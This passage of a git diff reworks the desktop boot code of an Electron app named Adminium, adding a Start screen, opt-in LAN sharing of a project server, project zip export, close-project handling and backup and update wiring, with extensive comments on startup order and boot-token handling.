+ ...(git.installAppleTools === undefined ? {} : { installAppleTools: git.installAppleTools }),
+ ...(git.log === undefined ? {} : { log: git.log }),
+ });
+ // One made on Start ("Update Adminium") gives way to this boot's.
+ updateManager?.dispose();
+ updateManager = deps.createUpdateManager({ mode: loadedConfig.updates.mode });
+ menuHandlers = {
+ showLogs: () => void deps.showLogs(),
+ ...(updateManager === null ? {} : { checkForUpdates: (): void => void updateManager?.checkForUpdates() }),
};
- } catch (error) {
- await windows.showCrash({
- reason: error instanceof Error ? error.message : String(error),
- canRestart: false,
+ rebuildMenu();
+
+ const show = (ready: { host: string; port: number }): Promise => {
+ const mode = projectManager.project?.mode ?? 'design';
+ shownMode = mode;
+ showAgain = false;
+ // Shared: the Designer is off, and what the window holds is the app's own page with the addresses.
+ if (mode === 'serve' && windows.showShared !== undefined) return windows.showShared();
+ const url = projectUrl({ port: ready.port, mode, token: projectManager.bootToken, land, ...(returnTo === undefined ? {} : { to: returnTo }) });
+ land = undefined;
+ returnTo = undefined;
+ return windows.loadApp(url, { preview: mode === 'design' });
+ };
+ const sharing = deps.sharing;
+ const remember = async (state: 'building' | 'shared', sharePort?: number): Promise => {
+ const current = config ?? loadedConfig;
+ const known = current.projects.find((entry) => entry.path === project.root);
+ // Listed if it was not (a project opened by a road that does not list it): its port has to be kept somewhere.
+ const next: DesktopConfig = rememberProject(current, { path: project.root, name: known?.name ?? nameFromFolder(project.root), state, ...(sharePort === undefined ? {} : { sharePort }) });
+ await deps.config.save(next);
+ config = next;
+ };
+ // One switch of the project's server at a time: sharing, going back to building and an export each stop it and
+ // start it again, and two of them at once would start two servers for one folder.
+ let switching = false;
+ /** The boot token the Shared page's "Open the dashboard" has already handed to the window. */
+ let dashboardToken: string | null = null;
+ projectSharing =
+ sharing === undefined
+ ? null
+ : {
+ async share() {
+ if (projectManager.project?.mode === 'serve') return { status: 'shared' };
+ if (switching) return { status: 'failed', detail: 'The project is already being switched.' };
+ // Other devices sign in with a real account: with no owner password there is none to sign in with.
+ // A folder that could not be read is not shared on the guess that it has one.
+ const readFacts = deps.startScreen?.folderFacts;
+ if (readFacts !== undefined) {
+ const facts = await readFacts(project.root).catch(() => null);
+ if (facts === null) return { status: 'failed', detail: 'Adminium could not read this project to check how its owner signs in.' };
+ if (facts.ownerHasPassword === false) return { status: 'needs-password' };
+ }
+ const busy = await projectManager.busy().catch(() => null);
+ if (busy !== null && deps.confirmStopBusy !== undefined && !(await deps.confirmStopBusy(busy, 'share', stopWords).catch(() => true))) return { status: 'kept-working' };
+ if (switching) return { status: 'failed', detail: 'The project is already being switched.' };
+ switching = true;
+ try {
+ const ready = await projectManager.restart({ mode: 'serve', host: '0.0.0.0' });
+ await remember('shared', ready.port);
+ sharing.keepAwake?.(true);
+ return { status: 'shared' };
+ } catch (error) {
+ // Not left half-way: back to building, on this computer only. If that cannot start either, the
+ // window says so instead of staying on a page whose server is gone.
+ await projectManager.restart({ mode: 'design', host: LOOPBACK_HOST }).catch((again: unknown) => windows.showCrash(crashFromStartError(again)));
+ return { status: 'failed', detail: error instanceof Error ? error.message : String(error) };
+ } finally {
+ switching = false;
+ }
+ },
+ async build() {
+ if (projectManager.project?.mode !== 'serve') return true;
+ if (switching) return false;
+ switching = true;
+ sharing.keepAwake?.(false);
+ shareChangedFrom = null;
+ try {
+ await projectManager.restart({ mode: 'design', host: LOOPBACK_HOST });
+ } catch (error) {
+ // The shared server is stopped and the building one did not start: the Shared page would show
+ // addresses nothing answers at.
+ await windows.showCrash(crashFromStartError(error));
+ throw error;
+ } finally {
+ switching = false;
+ }
+ await remember('building');
+ return true;
+ },
+ info() {
+ const state = projectManager.state;
+ if (projectManager.project?.mode !== 'serve' || state.status !== 'ready') return null;
+ const current = config ?? loadedConfig;
+ return {
+ name: current.projects.find((entry) => entry.path === project.root)?.name ?? nameFromFolder(project.root),
+ port: state.port,
+ addresses: shareAddresses(state.port, sharing.hostname()),
+ changedFrom: shareChangedFrom,
+ language: current.language,
+ theme: current.theme,
+ };
+ },
+ async showShared() {
+ if (projectManager.project?.mode === 'serve') await windows.showShared?.();
+ },
+ async openDashboard() {
+ const state = projectManager.state;
+ if (projectManager.project?.mode !== 'serve' || state.status !== 'ready') return;
+ // On this computer the owner is not asked for the password other devices sign in with. The token is
+ // good once per start of the server: after that the window's own session is what opens the dashboard.
+ const token = projectManager.bootToken;
+ const first = token !== null && token !== dashboardToken;
+ if (first) dashboardToken = token;
+ await windows.loadApp(projectUrl({ port: state.port, mode: 'serve', token: first ? token : null }), { preview: false, again: projectUrl({ port: state.port, mode: 'serve', token: null }) });
+ },
+ };
+ // Opened to be built, whatever it was when the app last let go of it (a quit while shared).
+ if ((config ?? loadedConfig).projects.some((entry) => entry.path === project.root && entry.state === 'shared')) await remember('building').catch(() => undefined);
+ const exporter = deps.exporting;
+ let lastExport: { result: DesktopExportResult; path: string | null } | null = null;
+ let exportingNow = false;
+ projectExporting =
+ exporter === undefined
+ ? null
+ : {
+ async run({ kind, title, from }) {
+ if (exportingNow || switching) return { status: 'busy' };
+ // Never under a turn, a save or a restore: the files would be caught half-written.
+ if ((await projectManager.busy().catch(() => null)) !== null) return { status: 'busy' };
+ const to = await exporter.saveAs({ title, defaultName: exportFileName(project.root) });
+ if (to === null) return { status: 'cancelled' };
+ if (exportingNow || switching) return { status: 'busy' };
+ exportingNow = true;
+ switching = true;
+ const mode = projectManager.project?.mode ?? 'design';
+ let result: DesktopExportResult;
+ try {
+ // Stopped while the file is made: a database is copied whole, never beside a write in flight.
+ await windows.showBoot();
+ await projectManager.stop();
+ try {
+ const made = await writeProjectZip({ root: project.root, kind, to, data: projectDataPaths(project.root), stamp: { ...exporter.stamp(), exportedAt: new Date().toISOString() } });
+ result = { status: 'saved', file: basename(to), megabytes: Math.max(0.1, Math.ceil(made.bytes / 100_000) / 10) };
+ } catch (error) {
+ result = { status: 'failed', detail: error instanceof Error ? error.message : String(error) };
+ }
+ lastExport = { result, path: result.status === 'saved' ? to : null };
+ // And on again, as it was served before; the page that comes back reads the outcome.
+ showAgain = true;
+ if (mode === 'design') returnTo = from;
+ await projectManager.restart({ mode, host: mode === 'serve' ? '0.0.0.0' : LOOPBACK_HOST });
+ } catch (error) {
+ result = { status: 'failed', detail: error instanceof Error ? error.message : String(error) };
+ lastExport = { result, path: null };
+ await windows.showCrash(crashFromStartError(error));
+ } finally {
+ exportingNow = false;
+ switching = false;
+ }
+ return result;
+ },
+ takeResult() {
+ const told = lastExport?.result ?? null;
+ if (lastExport !== null) lastExport = { result: { status: 'cancelled' }, path: lastExport.path };
+ return told === null || told.status === 'cancelled' ? null : told;
+ },
+ async show() {
+ if (lastExport?.path != null) await exporter.showInFolder(lastExport.path);
+ },
+ };
+ let listening = false;
+ /** The project's server heard from here on. Once, whether its first start worked or not. */
+ const listen = (): void => {
+ if (listening) return;
+ listening = true;
+ // Never restarted behind the person's back: the crash page's button is the way on.
+ projectManager.onExit((exit: ServerExit) => {
+ void windows.showCrash({
+ reason: exit.code === null ? 'This project stopped unexpectedly.' : `This project stopped unexpectedly (exit code ${String(exit.code)}).`,
+ logPath: exit.logPath,
+ canRestart: true,
+ });
+ });
+ projectManager.subscribe((state: ServerState) => {
+ if (state.status !== 'ready') return;
+ // The same server as the window already shows: same port, and served the same way. A switch between Build
+ // and Share may land on the port it had, and is still another page.
+ if (runtime !== null && state.port === runtime.serverPort && (projectManager.project?.mode ?? 'design') === shownMode && !showAgain) return;
+ runtime = runtime === null ? runtime : { ...runtime, serverPort: state.port };
+ void show(state);
+ });
+ };
+ const started = projectManager.start();
+ await windows.showBoot();
+ let ready: ServerReadyInfo;
+ try {
+ ready = await started;
+ } catch (error) {
+ // Heard all the same: "Try again" on the crash page starts it, and the window follows it once it is up.
+ listen();
+ await windows.showCrash(crashFromStartError(error));
+ return;
+ }
+ runtime = { ...runtime, serverPort: ready.port };
+ await show(ready);
+ listen();
+ };
+
+ /*
+ * What is opened, and its boot. Entered at launch, and AGAIN each time a
+ * project is closed (`again`): Start comes back, and the person's next
+ * choice is booted exactly as the first was. Everything above this line
+ * is done once per launch; everything in here is per thing opened.
+ */
+ const chooseAndBoot = async (again: boolean): Promise => {
+ let firstRun: boolean;
+ let secret: string;
+ try {
+ // Step 2 — a missing config.json means first-run mode.
+ // Back from a closed project: the config is the one in hand (it was saved as it changed).
+ const loaded = again && config !== null ? { config, firstRun: false } : await deps.config.load();
+ config = loaded.config;
+ firstRun = loaded.firstRun;
+ // Step 3 — safeStorage, or the flagged plaintext fallback.
+ if (!again && deps.openProject !== undefined) {
+ await bootProject(loaded.config, deps.openProject);
+ return;
+ }
+ const screen = deps.startScreen;
+ if (screen !== undefined && windows.showStart !== undefined && (again || windows.pendingFileArgument() === null)) {
+ const classicUsed = screen.classicUsed(loaded.config);
+ const choice = await new Promise((choose) => {
+ startService = createStartService({
+ readConfig: () => config ?? loaded.config,
+ saveConfig: async (next) => {
+ await deps.config.save(next);
+ config = next;
+ },
+ folder: screen.folder,
+ classicUsed: () => classicUsed,
+ chooseDirectory: screen.chooseDirectory,
+ ...(screen.makeProject === undefined ? {} : { makeProject: screen.makeProject }),
+ ...(screen.installPackages === undefined ? {} : { installPackages: screen.installPackages }),
+ ...(screen.folderFacts === undefined ? {} : { folderFacts: screen.folderFacts }),
+ ...(screen.updateProject === undefined ? {} : { updateProject: screen.updateProject }),
+ ...(screen.chooseFile === undefined ? {} : { chooseFile: screen.chooseFile }),
+ ...(screen.checkGuest === undefined ? {} : { checkGuest: screen.checkGuest }),
+ ...(windows.openGuest === undefined ? {} : { openGuest: (guest) => windows.openGuest?.(guest) ?? Promise.resolve() }),
+ ...(windows.clearGuest === undefined ? {} : { clearGuest: (origin) => windows.clearGuest?.(origin) ?? Promise.resolve() }),
+ // "Update Adminium", asked from a folder a newer one wrote: the app's own updater, made now if no
+ // boot has made one yet (Start has no server, and so had none).
+ updateApp: () => {
+ updateManager ??= deps.createUpdateManager({ mode: (config ?? loaded.config).updates.mode });
+ if (updateManager === null) return false;
+ void updateManager.checkForUpdates();
+ return true;
+ },
+ onChoice: choose,
+ });
+ startOpen = true;
+ // Ours from the first window on: without this, Start sits under Electron's default menu until a
+ // project's step 5. The commands have no handlers yet, so they are shown and cannot be chosen.
+ rebuildMenu();
+ void windows.showStart?.();
+ });
+ startOpen = false;
+ if (choice.kind === 'project') {
+ await bootProject(config ?? loaded.config, { root: choice.root, land: choice.land });
+ return;
+ }
+ // "Use my own database". Writing the recent list made `config.json`, so its absence no longer says
+ // whether the classic workspace was ever set up: the data folder does.
+ firstRun = !classicUsed;
+ }
+ const resolved = await deps.config.resolveSecret(loaded.config);
+ secret = resolved.secret;
+ runtime = {
+ dataDir: loaded.config.dataDir,
+ firstRun,
+ secretStorage: resolved.secretStorage,
+ serverPort: -1,
+ };
+ } catch (error) {
+ await windows.showCrash({
+ reason: error instanceof Error ? error.message : String(error),
+ canRestart: false,
+ });
+ return;
+ }
+ const loadedConfig = config;
+
+ // Step 5. Step 4's token is minted by the manager, once per FORK — see
+ // `CreateServerManagerOptions.createBootToken`. The shell must therefore
+ // read `manager.bootToken` at each navigation instead of closing over a
+ // value: a `const` here would be a token every restart invalidates, and
+ // (worse, before the manager owned the mint) one that every restart
+ // re-armed for a second passwordless session.
+ manager = deps.createServerManager({
+ entry: deps.serverEntry,
+ dataDir: loadedConfig.dataDir,
+ secret,
+ createBootToken: deps.createBootToken,
+ logsDir: deps.logsDir,
+ telemetryOptIn: loadedConfig.telemetryOptIn,
+ // The mirror. The child writes this into `adminium_settings` at boot
+ // and the auto-login route reads it back; without it the route refuses
+ // the very token this boot puts in the window URL at step 8.
+ singleUser: loadedConfig.singleUser,
+ // Where the SPA is. See DesktopBootDeps.staticRoot.
+ ...(deps.staticRoot === undefined ? {} : { staticRoot: deps.staticRoot }),
+ // Where the demo seed script is. See DesktopBootDeps.demoSeedScript.
+ ...(deps.demoSeedScript === undefined ? {} : { demoSeedScript: deps.demoSeedScript }),
+ // Where the bundled add-on set is. See
+ // DesktopBootDeps.bundledAddOnsDir.
+ ...(deps.bundledAddOnsDir === undefined
+ ? {}
+ : { bundledAddOnsDir: deps.bundledAddOnsDir }),
+ // Loopback unless the user opted into LAN share. Omitting both is not
+ // laziness — the manager defaults to 127.0.0.1 + port 0, so the shell
+ // cannot bind every interface by forgetting something.
+ ...(loadedConfig.lanShare.enabled
+ ? { host: '0.0.0.0', port: loadedConfig.lanShare.port }
+ : {}),
});
- return;
- }
- const loadedConfig = config;
-
- // Step 5. Step 4's token is minted by the manager, once per FORK — see
- // `CreateServerManagerOptions.createBootToken`. The shell must therefore
- // read `manager.bootToken` at each navigation instead of closing over a
- // value: a `const` here would be a token every restart invalidates, and
- // (worse, before the manager owned the mint) one that every restart
- // re-armed for a second passwordless session.
- manager = deps.createServerManager({
- entry: deps.serverEntry,
- dataDir: loadedConfig.dataDir,
- secret,
- createBootToken: deps.createBootToken,
- logsDir: deps.logsDir,
- telemetryOptIn: loadedConfig.telemetryOptIn,
- // The mirror. The child writes this into `adminium_settings` at boot
- // and the auto-login route reads it back; without it the route refuses
- // the very token this boot puts in the window URL at step 8.
- singleUser: loadedConfig.singleUser,
- // Where the SPA is. See DesktopBootDeps.staticRoot.
- ...(deps.staticRoot === undefined ? {} : { staticRoot: deps.staticRoot }),
- // Where the demo seed script is. See DesktopBootDeps.demoSeedScript.
- ...(deps.demoSeedScript === undefined ? {} : { demoSeedScript: deps.demoSeedScript }),
- // Where the bundled add-on set is. See
- // DesktopBootDeps.bundledAddOnsDir.
- ...(deps.bundledAddOnsDir === undefined
- ? {}
- : { bundledAddOnsDir: deps.bundledAddOnsDir }),
- // Loopback unless the user opted into LAN share. Omitting both is not
- // laziness — the manager defaults to 127.0.0.1 + port 0, so the shell
- // cannot bind every interface by forgetting something.
- ...(loadedConfig.lanShare.enabled
- ? { host: '0.0.0.0', port: loadedConfig.lanShare.port }
- : {}),
- });
- const startedManager = manager;
+ const startedManager = manager;
- // The coordinator, menu — both here, because both need the manager
- // that only just came into existence.
- //
- // THIS IS THE WIRING. `createBackupCoordinator` and `buildAppMenu` were
- // each called by NOTHING before this line, which meant backup/restore and
- // the entire native menu bar were absent from every launch while both
- // modules compiled, unit-tested green, and looked finished. That is the
- // failure this codebase has now shipped five times (`registerIpcHandlers`
- // never called; `staticRoot` never passed). The grep that proves it is
- // fixed is a grep for THIS call site, not a passing test.
- backup = deps.createBackup({
- // `config`, NOT `loadedConfig`. The two differ the moment the settings
- // panel writes: `writeConfig` reassigns the outer `config`, and
- // `loadedConfig` is the step-2 snapshot the rest of this function uses
- // for values the SERVER FORK froze anyway (dataDir, singleUser). The backup
- // scheduler is the opposite case — it re-reads on every tick precisely
- // so "Automatic backups: off" takes effect at 03:00 tonight rather than
- // next launch. Handing it the snapshot would make that toggle, and
- // `keep`, silently inert.
- readConfig: () => config ?? loadedConfig,
- // dataDir is genuinely immutable for this boot: the server was forked
- // against it at step 5, makes changing it a quit-and-move operation.
- // The snapshot is the honest source here.
- dataDir: loadedConfig.dataDir,
- server: {
- stop: () => startedManager.stop(),
- start: async () => {
- const ready = await startedManager.start();
- return { metaVersion: ready.metaVersion };
+ // The coordinator, menu — both here, because both need the manager
+ // that only just came into existence.
+ //
+ // THIS IS THE WIRING. `createBackupCoordinator` and `buildAppMenu` were
+ // each called by NOTHING before this line, which meant backup/restore and
+ // the entire native menu bar were absent from every launch while both
+ // modules compiled, unit-tested green, and looked finished. That is the
+ // failure this codebase has now shipped five times (`registerIpcHandlers`
+ // never called; `staticRoot` never passed). The grep that proves it is
+ // fixed is a grep for THIS call site, not a passing test.
+ backup = deps.createBackup({
+ // `config`, NOT `loadedConfig`. The two differ the moment the settings
+ // panel writes: `writeConfig` reassigns the outer `config`, and
+ // `loadedConfig` is the step-2 snapshot the rest of this function uses
+ // for values the SERVER FORK froze anyway (dataDir, singleUser). The backup
+ // scheduler is the opposite case — it re-reads on every tick precisely
+ // so "Automatic backups: off" takes effect at 03:00 tonight rather than
+ // next launch. Handing it the snapshot would make that toggle, and
+ // `keep`, silently inert.
+ readConfig: () => config ?? loadedConfig,
+ // dataDir is genuinely immutable for this boot: the server was forked
+ // against it at step 5, makes changing it a quit-and-move operation.
+ // The snapshot is the honest source here.
+ dataDir: loadedConfig.dataDir,
+ server: {
+ stop: () => startedManager.stop(),
+ start: async () => {
+ const ready = await startedManager.start();
+ return { metaVersion: ready.metaVersion };
+ },
+ // The handshake is the only source (`protocol.ts`); `null` before it,
+ // which `validateArchive` turns into a refusal rather than a skipped
+ // check.
+ metaVersion: () =>
+ startedManager.state.status === 'ready' ? startedManager.state.metaVersion : null,
},
- // The handshake is the only source (`protocol.ts`); `null` before it,
- // which `validateArchive` turns into a refusal rather than a skipped
- // check.
- metaVersion: () =>
- startedManager.state.status === 'ready' ? startedManager.state.metaVersion : null,
- },
- serverOrigin: () =>
- startedManager.state.status === 'ready'
- ? `http://127.0.0.1:${String(startedManager.state.port)}`
- : null,
- });
- const coordinator = backup;
-
- // The updater. Created HERE, after the config load that carries
- // `updates.mode`, and BEFORE the menu that wires its "Check for updates…"
- // item. THIS IS THE WIRING: `deps.createUpdateManager` is the same class of
- // call as `createBackup` above, and the port feeds two consumers from one
- // manager — the ipc `updates` getter (so checkForUpdates / downloadUpdate /
- // quitAndInstall reach it from the SPA) and the Help menu below. `null` in
- // `disabled` mode (or under `ADMINIUM_DISABLE_UPDATES=1`, which the port
- // resolves): the correctness rule — nothing is constructed, so an
- // air-gapped install makes zero non-loopback requests. `notify` mode
- // schedules its own launch + daily checks; nothing here drives them.
- updateManager = deps.createUpdateManager({ mode: loadedConfig.updates.mode });
-
- // Assemble the menu's command handlers ONCE, here at step 5 — File's
- // backup/restore (coordinator), Help's Show Logs, and (when the updater
- // exists) Help's Check for updates. `rebuildMenu` turns them plus the
- // current labels into the installed menu; a later locale push
- // (`setMenuLabels`) rebuilds with these SAME handlers and the new `t`.
- //
- // THIS IS THE WIRING: `deps.installMenu` is reached only through
- // `rebuildMenu`, and `rebuildMenu` was called by nothing before this line —
- // so the whole native menu bar, and its locale rebuild, would otherwise be
- // absent from every launch while `menu.ts` compiled and unit-tested green.
- menuHandlers = {
- backupNow: () => void coordinator.backupNow(),
- restore: () => {
- void (async () => {
- // The open dialog is, and the coordinator does not own one — it
- // takes a path (launch-argument path hands it one directly).
- const file = await deps.pickBackupFile();
- if (file !== null) await coordinator.restoreFrom(file);
- })();
- },
- showLogs: () => void deps.showLogs(),
- // "About Adminium" opens the SAME `/about` panel the Settings surface
- // uses. A window navigation, not an IPC push to the SPA: the route exists
- // and the server serves it, so this cannot regress into a dead item the
- // way a push whose renderer subscriber went unmounted would (the exact
- // "green but broken" shape the crash-page note warns about). Guarded on
- // `ready` because before the handshake there is no origin to navigate to
- // — the item is reachable only after the app is up anyway.
- about: () => {
- const state = startedManager.state;
- if (state.status !== 'ready') return;
- void windows.loadApp(
- appUrl({ host: state.host, port: state.port, firstRun: false, path: ABOUT_PATH }),
- );
- },
- // Help → "Check for updates…". In `manual` mode this is the
- // ONLY check path; in `notify` it supplements the scheduled ones. `null`
- // (disabled) leaves the item disabled via `menu.ts`'s unwired-handler
- // rule. An `available` result surfaces through the ONE notification
- // pipeline (`onUpdateEvent`); a `none`/`error` result is the SPA button's
- // to render (About / Settings), not this native item's.
- ...(updateManager === null
- ? {}
- : { checkForUpdates: (): void => void updateManager?.checkForUpdates() }),
- };
- rebuildMenu();
-
- // The daily 03:00 auto-backup. Started here rather than lazily on the
- // first tick because a schedule nobody constructs is a schedule that never
- // fires — the same bug as the two above, one layer down.
- stopAutoBackup = coordinator.startAutoBackup();
-
- // Steps 5 and 6, in the doc's order and for the doc's reason: the fork is
- // started but NOT awaited, so the splash paints while the server migrates.
- // Awaiting the handshake first leaves an empty window on screen for as
- // long as the boot takes — which, on a first run with migrations to apply,
- // is the longest it will ever be.
- const started = manager.start();
- await windows.showBoot();
-
- // Step 7 — the handshake (or its 30 s timeout) resolves the real port. The
- // child listens on :0, so its `ready` message is the only place that
- // number exists.
- let ready: ServerReadyInfo;
- try {
- ready = await started;
- } catch (error) {
- await windows.showCrash(crashFromStartError(error));
- return;
- }
- runtime = { ...runtime, serverPort: ready.port };
-
- // Step 8. The token rides in the URL only while `singleUser` is on — with
- // it off the desktop-session route is not registered and the SPA must fall
- // through to the standard login.
- //
- // Read from the manager, never cached: it minted this token for the child
- // that just reported `ready`, and the next restart mints another.
- await windows.loadApp(
- appUrl({
- host: ready.host,
- port: ready.port,
- firstRun,
- ...bootTokenParam(loadedConfig.singleUser, manager.bootToken),
- }),
- );
+ serverOrigin: () =>
+ startedManager.state.status === 'ready'
+ ? `http://127.0.0.1:${String(startedManager.state.port)}`
+ : null,
+ });
+ const coordinator = backup;
+
+ // The updater. Created HERE, after the config load that carries
+ // `updates.mode`, and BEFORE the menu that wires its "Check for updates…"
+ // item. THIS IS THE WIRING: `deps.createUpdateManager` is the same class of
+ // call as `createBackup` above, and the port feeds two consumers from one
+ // manager — the ipc `updates` getter (so checkForUpdates / downloadUpdate /
+ // quitAndInstall reach it from the SPA) and the Help menu below. `null` in
+ // `disabled` mode (or under `ADMINIUM_DISABLE_UPDATES=1`, which the port
+ // resolves): the correctness rule — nothing is constructed, so an
+ // air-gapped install makes zero non-loopback requests. `notify` mode
+ // schedules its own launch + daily checks; nothing here drives them.
+ // One made on Start ("Update Adminium") gives way to this boot's.
+ updateManager?.dispose();
+ updateManager = deps.createUpdateManager({ mode: loadedConfig.updates.mode });
- // Step 9. The POLICY is the manager's — it is the only thing that knows
- // how many children have died and when — so the shell only renders what it
- // reports. `onExit` fires for UNEXPECTED post-`ready` exits only, which is
- // why the try/catch above cannot double-report the same failure.
- manager.onExit((exit: ServerExit) => {
- if (exit.willRestart) {
- // "Silent restart" means no crash dialog — not a live window pointed
- // at a port nobody is listening on any more.
- void windows.showBoot();
+ // Assemble the menu's command handlers ONCE, here at step 5 — File's
+ // backup/restore (coordinator), Help's Show Logs, and (when the updater
+ // exists) Help's Check for updates. `rebuildMenu` turns them plus the
+ // current labels into the installed menu; a later locale push
+ // (`setMenuLabels`) rebuilds with these SAME handlers and the new `t`.
+ //
+ // THIS IS THE WIRING: `deps.installMenu` is reached only through
+ // `rebuildMenu`, and `rebuildMenu` was called by nothing before this line —
+ // so the whole native menu bar, and its locale rebuild, would otherwise be
+ // absent from every launch while `menu.ts` compiled and unit-tested green.
+ menuHandlers = {
+ backupNow: () => void coordinator.backupNow(),
+ restore: () => {
+ void (async () => {
+ // The open dialog is, and the coordinator does not own one — it
+ // takes a path (launch-argument path hands it one directly).
+ const file = await deps.pickBackupFile();
+ if (file !== null) await coordinator.restoreFrom(file);
+ })();
+ },
+ showLogs: () => void deps.showLogs(),
+ // "About Adminium" opens the SAME `/about` panel the Settings surface
+ // uses. A window navigation, not an IPC push to the SPA: the route exists
+ // and the server serves it, so this cannot regress into a dead item the
+ // way a push whose renderer subscriber went unmounted would (the exact
+ // "green but broken" shape the crash-page note warns about). Guarded on
+ // `ready` because before the handshake there is no origin to navigate to
+ // — the item is reachable only after the app is up anyway.
+ about: () => {
+ const state = startedManager.state;
+ if (state.status !== 'ready') return;
+ void windows.loadApp(
+ appUrl({ host: state.host, port: state.port, firstRun: false, path: ABOUT_PATH }),
+ );
+ },
+ // Help → "Check for updates…". In `manual` mode this is the
+ // ONLY check path; in `notify` it supplements the scheduled ones. `null`
+ // (disabled) leaves the item disabled via `menu.ts`'s unwired-handler
+ // rule. An `available` result surfaces through the ONE notification
+ // pipeline (`onUpdateEvent`); a `none`/`error` result is the SPA button's
+ // to render (About / Settings), not this native item's.
+ ...(updateManager === null
+ ? {}
+ : { checkForUpdates: (): void => void updateManager?.checkForUpdates() }),
+ };
+ rebuildMenu();
+
+ // The daily 03:00 auto-backup. Started here rather than lazily on the
+ // first tick because a schedule nobody constructs is a schedule that never
+ // fires — the same bug as the two above, one layer down.
+ stopAutoBackup = coordinator.startAutoBackup();
+
+ // Steps 5 and 6, in the doc's order and for the doc's reason: the fork is
+ // started but NOT awaited, so the splash paints while the server migrates.
+ // Awaiting the handshake first leaves an empty window on screen for as
+ // long as the boot takes — which, on a first run with migrations to apply,
+ // is the longest it will ever be.
+ const started = manager.start();
+ await windows.showBoot();
+
+ // Step 7 — the handshake (or its 30 s timeout) resolves the real port. The
+ // child listens on :0, so its `ready` message is the only place that
+ // number exists.
+ let ready: ServerReadyInfo;
+ try {
+ ready = await started;
+ } catch (error) {
+ await windows.showCrash(crashFromStartError(error));
return;
}
- void windows.showCrash({
- reason:
- exit.code === null
- ? `The Adminium server stopped unexpectedly (signal ${exit.signal ?? 'unknown'}).`
- : `The Adminium server stopped unexpectedly (exit code ${String(exit.code)}).`,
- logPath: exit.logPath,
- // Once the 3-in-60 s cap trips, restarting is the user's move, not
- // ours.
- canRestart: !exit.giveUp,
- });
- });
+ runtime = { ...runtime, serverPort: ready.port };
- // A restart re-forks the child, which listens on :0 again and therefore
- // comes back on a DIFFERENT port — so the window has to be sent to the new
- // origin or it stays pointed at a dead one. `subscribe` replays the
- // current state immediately; the port guard makes that replay a no-op.
- // (The boot token survives: it is ours, not the child's, so the SPA's
- // exchange still works against the new process.)
- manager.subscribe((state: ServerState) => {
- if (state.status !== 'ready') return;
- // The toggle leaves a path here; every other restart finds none and
- // lands on `/`. Consumed as soon as a `ready` arrives — INCLUDING the
- // one the port guard below discards, which is the case that matters: a
- // rebind that happened to land on the same port navigates nowhere, and a
- // note left behind by it would hijack the next crash recovery's URL.
- const path = pendingAppPath;
- pendingAppPath = null;
- if (runtime !== null && state.port === runtime.serverPort) return;
- runtime = runtime === null ? runtime : { ...runtime, serverPort: state.port };
- void windows.loadApp(
+ // Step 8. The token rides in the URL only while `singleUser` is on — with
+ // it off the desktop-session route is not registered and the SPA must fall
+ // through to the standard login.
+ //
+ // Read from the manager, never cached: it minted this token for the child
+ // that just reported `ready`, and the next restart mints another.
+ await windows.loadApp(
appUrl({
- host: state.host,
- port: state.port,
+ host: ready.host,
+ port: ready.port,
firstRun,
- // The RESTARTED child's token, not the one this app launched with.
- // `manager` re-mints per fork, so the URL below carries a token the
- // process now listening has actually heard of — and the previous
- // one is dead rather than re-armed for a second free session.
- ...bootTokenParam(loadedConfig.singleUser, manager?.bootToken ?? null),
- ...(path === null ? {} : { path }),
+ ...bootTokenParam(loadedConfig.singleUser, manager.bootToken),
}),
);
- });
- // A file handed to us on the command line is a restore/open request, and
- // it can only be acted on once the SPA is up to render the flow.
- const launchFile = extractFileArgument(host.argv);
- if (launchFile !== null) routeFileArgument(launchFile);
+ // Step 9. The POLICY is the manager's — it is the only thing that knows
+ // how many children have died and when — so the shell only renders what it
+ // reports. `onExit` fires for UNEXPECTED post-`ready` exits only, which is
+ // why the try/catch above cannot double-report the same failure.
+ manager.onExit((exit: ServerExit) => {
+ if (exit.willRestart) {
+ // "Silent restart" means no crash dialog — not a live window pointed
+ // at a port nobody is listening on any more.
+ void windows.showBoot();
+ return;
+ }
+ void windows.showCrash({
+ reason:
+ exit.code === null
+ ? `The Adminium server stopped unexpectedly (signal ${exit.signal ?? 'unknown'}).`
+ : `The Adminium server stopped unexpectedly (exit code ${String(exit.code)}).`,
+ logPath: exit.logPath,
+ // Once the 3-in-60 s cap trips, restarting is the user's move, not
+ // ours.
+ canRestart: !exit.giveUp,
+ });
+ });
+
+ // A restart re-forks the child, which listens on :0 again and therefore
+ // comes back on a DIFFERENT port — so the window has to be sent to the new
+ // origin or it stays pointed at a dead one. `subscribe` replays the
+ // current state immediately; the port guard makes that replay a no-op.
+ // (The boot token survives: it is ours, not the child's, so the SPA's
+ // exchange still works against the new process.)
+ manager.subscribe((state: ServerState) => {
+ if (state.status !== 'ready') return;
+ // The toggle leaves a path here; every other restart finds none and
+ // lands on `/`. Consumed as soon as a `ready` arrives — INCLUDING the
+ // one the port guard below discards, which is the case that matters: a
+ // rebind that happened to land on the same port navigates nowhere, and a
+ // note left behind by it would hijack the next crash recovery's URL.
+ const path = pendingAppPath;
+ pendingAppPath = null;
+ if (runtime !== null && state.port === runtime.serverPort) return;
+ runtime = runtime === null ? runtime : { ...runtime, serverPort: state.port };
+ void windows.loadApp(
+ appUrl({
+ host: state.host,
+ port: state.port,
+ firstRun,
+ // The RESTARTED child's token, not the one this app launched with.
+ // `manager` re-mints per fork, so the URL below carries a token the
+ // process now listening has actually heard of — and the previous
+ // one is dead rather than re-armed for a second free session.
+ ...bootTokenParam(loadedConfig.singleUser, manager?.bootToken ?? null),
+ ...(path === null ? {} : { path }),
+ }),
+ );
+ });
+
+ // A file handed to us on the command line is a restore/open request, and
+ // it can only be acted on once the SPA is up to render the flow.
+ if (again) return;
+ const launchFile = extractFileArgument(host.argv);
+ if (launchFile !== null) routeFileArgument(launchFile);
+ };
+
+ /*
+ * "Close project": the folder's server is stopped as a quit stops it (the
+ * same question first when it is in the middle of something), what was
+ * agreed to is taken again, the window goes back to the app's own cookie
+ * jar, and Start is shown.
+ */
+ closeProject = async (): Promise => {
+ const target = manager;
+ if (target === null || target.project === null) return false;
+ const root = target.project.root;
+ const busy = await target.busy().catch(() => null);
+ if (busy !== null && deps.confirmStopBusy !== undefined && !(await deps.confirmStopBusy(busy, 'close', stopWords).catch(() => true))) return false;
+ await target.stop().catch(() => undefined);
+ await startService?.trustNow(root).catch(() => undefined);
+ versionsOffer?.dispose();
+ versionsOffer = null;
+ if (target.project.mode === 'serve') {
+ deps.sharing?.keepAwake?.(false);
+ // Closed: it is shared with nobody now, and the list on Start says so.
+ if (config !== null) {
